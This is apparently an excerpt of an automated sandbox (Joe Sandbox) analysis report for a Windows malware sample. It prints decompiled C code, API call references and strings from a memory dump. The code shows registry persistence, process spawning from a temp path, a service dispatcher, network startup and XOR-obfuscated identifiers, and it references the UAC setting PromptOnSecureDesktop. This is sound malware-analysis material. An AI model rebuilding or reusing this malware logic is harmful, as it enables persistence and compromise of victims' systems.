															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32(00000000,00000000,0040405E,00000000,00000000,00000000), ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32(00000000,00000000,0040877E,00000000,00000000,00000000), ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
", xrefs: 0040A078
P, xrefs: 00409DAA
", xrefs: 00409EDB
D, xrefs: 00409F8E
\, xrefs: 00409D0C
", xrefs: 0040A189
%X%08X, xrefs: 0040A0B0

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00419EAB, Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 00419ECA

Part of subcall function 0041B4B0: __vsprintf_l.LIBCMTD ref: 0041B4C3

_putc.LIBCMTD ref: 00419ED1

Part of subcall function 0041B0E0: __invalid_parameter.LIBCMTD ref: 0041B16D

__wrename.LIBCMTD ref: 00419ED8

Part of subcall function 0041B090: __dosmaperr.LIBCMTD ref: 0041B0C4

_atexit.LIBCMTD ref: 00419EDE

Part of subcall function 0041AE20: __atof_l.LIBCMTD ref: 0041AE2B

_malloc.LIBCMTD ref: 00419EF0
_realloc.LIBCMTD ref: 00419EF7

Part of subcall function 0041AB70: __realloc_dbg.LIBCMTD ref: 0041AB84

_ferror.LIBCMTD ref: 00419EFD

Part of subcall function 0041AAF0: __invalid_parameter.LIBCMTD ref: 0041AB4A

Part of subcall function 0041AAD0: __wcstoi64.LIBCMTD ref: 0041AADD

_memset.LIBCMT ref: 0041A330

Strings

cbH, xrefs: 0041A1E4
X<, xrefs: 0041A218

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: X<$cbH
API String ID: 408336251-2143548201
Opcode ID: 0746fa6e74e7dea16e0d44d709a5d3d1e88312a5537b109ea65aa284c2c7dc37
Instruction ID: 7dc670123578dd253e3b5bb544415b9c1c2166ee478b185ca9df4fa4067f97d9
Opcode Fuzzy Hash: 0746fa6e74e7dea16e0d44d709a5d3d1e88312a5537b109ea65aa284c2c7dc37
Instruction Fuzzy Hash: FDF10C76402565BBC325ABA1AE4CDDF3E6CEF4E395B00442AF24AE5030C7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,73B743E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,73B743E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
